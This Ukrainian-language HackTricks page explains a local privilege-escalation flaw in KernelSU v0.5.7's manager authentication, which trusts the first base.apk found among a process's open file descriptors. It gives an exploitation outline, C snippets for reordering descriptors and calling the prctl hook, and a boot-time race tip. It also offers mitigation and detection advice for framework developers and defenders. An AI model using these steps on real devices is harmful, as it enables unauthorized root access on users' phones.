Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Фреймворки рутування, такі як KernelSU, APatch, SKRoot та Magisk, часто патчать ядро Linux/Android і надають привілейовану функціональність для непривабливого користувацького "менеджера" через підключений syscall. Якщо крок аутентифікації менеджера має недоліки, будь-який локальний додаток може отримати доступ до цього каналу та підвищити привілеї на вже рутованих пристроях.

Ця сторінка узагальнює техніки та підводні камені, виявлені в публічних дослідженнях (зокрема, аналіз Zimperium v0.5.7) для допомоги як червоним, так і синім командам у розумінні атакуючих поверхонь, примітивів експлуатації та надійних заходів пом'якшення.


Архітектурний шаблон: syscall-підключений канал менеджера

  • Ядровий модуль/патч підключає syscall (зазвичай prctl), щоб отримувати "команди" з користувацького простору.
  • Протокол зазвичай виглядає так: magic_value, command_id, arg_ptr/len ...
  • Користувацький додаток менеджера спочатку проходить аутентифікацію (наприклад, CMD_BECOME_MANAGER). Як тільки ядро позначає виклик як довірений менеджер, приймаються привілейовані команди:
  • Надати root виклику (наприклад, CMD_GRANT_ROOT)
  • Керувати списками дозволів/заборон для su
  • Налаштувати політику SELinux (наприклад, CMD_SET_SEPOLICY)
  • Запитати версію/конфігурацію
  • Оскільки будь-який додаток може викликати syscalls, правильність аутентифікації менеджера є критично важливою.

Приклад (дизайн KernelSU):

  • Підключений syscall: prctl
  • Magic value для перенаправлення до обробника KernelSU: 0xDEADBEEF
  • Команди включають: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT тощо.

Потік аутентифікації KernelSU v0.5.7 (як реалізовано)

Коли користувацький простір викликає prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU перевіряє:

  1. Перевірка префікса шляху
  • Наданий шлях повинен починатися з очікуваного префікса для UID виклику, наприклад, /data/data/ або /data/user//.
  • Посилання: core_hook.c (v0.5.7) логіка перевірки префікса шляху.
  1. Перевірка власності
  • Шлях повинен належати UID виклику.
  • Посилання: core_hook.c (v0.5.7) логіка власності.
  1. Перевірка підпису APK через сканування таблиці FD
  • Ітерація відкритих дескрипторів файлів (FD) викликаючого процесу.
  • Вибір першого файлу, шлях якого відповідає /data/app/*/base.apk.
  • Парсинг підпису APK v2 та перевірка проти офіційного сертифіката менеджера.
  • Посилання: manager.c (ітерація FD), apk_sign.c (перевірка APK v2).

Якщо всі перевірки проходять, ядро тимчасово кешує UID менеджера та приймає привілейовані команди з цього UID до скидання.


Клас вразливості: довіра до "першого відповідного APK" з ітерації FD

Якщо перевірка підпису прив'язується до "першого відповідного /data/app/*/base.apk", знайденого в таблиці FD процесу, насправді не перевіряється власний пакет виклику. Зловмисник може попередньо розмістити легітимно підписаний APK (справжнього менеджера), щоб він з'являвся раніше в списку FD, ніж їх власний base.apk.

Ця довіра через непрямий зв'язок дозволяє непривабливому додатку видавати себе за менеджера, не володіючи ключем підпису менеджера.

Ключові властивості, що експлуатуються:

  • Сканування FD не прив'язується до ідентичності пакета виклику; воно лише співпадає з рядками шляху.
  • open() повертає найнижчий доступний FD. Закриваючи спочатку дескриптори з нижчими номерами, зловмисник може контролювати порядок.
  • Фільтр лише перевіряє, що шлях відповідає /data/app/*/base.apk – не те, що він відповідає встановленому пакету виклику.

Передумови атаки

  • Пристрій вже рутовано з вразливим фреймворком рутування (наприклад, KernelSU v0.5.7).
  • Зловмисник може виконувати довільний непривабливий код локально (процес Android-додатку).
  • Справжній менеджер ще не пройшов аутентифікацію (наприклад, відразу після перезавантаження). Деякі фреймворки кешують UID менеджера після успіху; ви повинні виграти гонку.

Контур експлуатації (KernelSU v0.5.7)

Кроки на високому рівні:

  1. Створіть дійсний шлях до каталогу даних вашого додатку, щоб задовольнити перевірки префікса та власності.
  2. Переконайтеся, що справжній базовий APK KernelSU менеджера відкритий на дескрипторі з нижчим номером, ніж ваш власний base.apk.
  3. Викличте prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) для проходження перевірок.
  4. Видавайте привілейовані команди, такі як CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY для збереження підвищення.

Практичні нотатки щодо кроку 2 (порядок FD):

  • Визначте FD вашого процесу для вашого власного /data/app/*/base.apk, пройшовши через символьні посилання /proc/self/fd.
  • Закрийте низький FD (наприклад, stdin, fd 0) і спочатку відкрийте легітимний APK менеджера, щоб він займав fd 0 (або будь-який індекс нижчий за ваш власний base.apk fd).
  • Упакуйте легітимний APK менеджера з вашим додатком, щоб його шлях задовольняв наївному фільтру ядра. Наприклад, розмістіть його під підшляхом, що відповідає /data/app/*/base.apk.

Приклад фрагментів коду (Android/Linux, ілюстративно лише):

Перелічте відкриті FD, щоб знайти записи base.apk:

c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}

Примусьте FD з нижчим номером вказувати на легітимний APK менеджера:

c
#include <fcntl.h>
#include <unistd.h>

void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}

Аутентифікація менеджера через prctl hook:

c
#include <sys/prctl.h>
#include <stdint.h>

#define KSU_MAGIC          0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100  // Placeholder; command IDs are framework-specific

static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}

int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}

Після успіху, команди з привілегіями (приклади):

  • CMD_GRANT_ROOT: підвищити поточний процес до root
  • CMD_ALLOW_SU: додати ваш пакет/UID до списку дозволених для постійного su
  • CMD_SET_SEPOLICY: налаштувати політику SELinux відповідно до можливостей фреймворку

Порада щодо гонки/постійності:

  • Зареєструйте приймач BOOT_COMPLETED в AndroidManifest (RECEIVE_BOOT_COMPLETED), щоб запуститися рано після перезавантаження та спробувати аутентифікацію до реального менеджера.

Рекомендації щодо виявлення та пом'якшення

Для розробників фреймворків:

  • Прив'язуйте аутентифікацію до пакета/UID виклику, а не до довільних FD:
  • Визначте пакет виклику за його UID та перевірте його підпис проти підпису встановленого пакета (через PackageManager), а не скануючи FD.
  • Якщо тільки ядро, використовуйте стабільну ідентичність виклику (task creds) та перевіряйте на стабільному джерелі правди, керованому init/userspace helper, а не процесами FD.
  • Уникайте перевірок префіксів шляху як ідентичності; їх легко задовольнити викликом.
  • Використовуйте засновану на nonce систему викликів-відповідей через канал та очищайте будь-яку кешовану ідентичність менеджера при завантаженні або на ключових подіях.
  • Розгляньте аутентифікований IPC на основі binder замість перевантаження загальних системних викликів, коли це можливо.

Для захисників/синьої команди:

  • Виявляйте наявність фреймворків для рутування та процесів менеджера; моніторте виклики prctl з підозрілими магічними константами (наприклад, 0xDEADBEEF), якщо у вас є телеметрія ядра.
  • На керованих флотах блокуйте або сповіщайте про приймачі завантаження з ненадійних пакетів, які швидко намагаються виконати команди менеджера з привілегіями після завантаження.
  • Переконайтеся, що пристрої оновлені до виправлених версій фреймворку; анулюйте кешовані ID менеджера при оновленні.

Обмеження атаки:

  • Впливає лише на пристрої, які вже рутовані з вразливим фреймворком.
  • Зазвичай вимагає перезавантаження/вікно гонки перед тим, як легітимний менеджер аутентифікується (деякі фреймворки кешують UID менеджера до скидання).

Пов'язані нотатки по фреймворках

  • Аутентифікація на основі паролів (наприклад, історичні версії APatch/SKRoot) може бути слабкою, якщо паролі можна вгадати/зламати або перевірки мають помилки.
  • Аутентифікація на основі пакета/підпису (наприклад, KernelSU) є принципово більш сильною, але повинна бути прив'язана до фактичного виклику, а не до непрямих артефактів, таких як сканування FD.
  • Magisk: CVE-2024-48336 (MagiskEoP) показав, що навіть зрілі екосистеми можуть бути вразливими до підробки ідентичності, що призводить до виконання коду з root в контексті менеджера.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks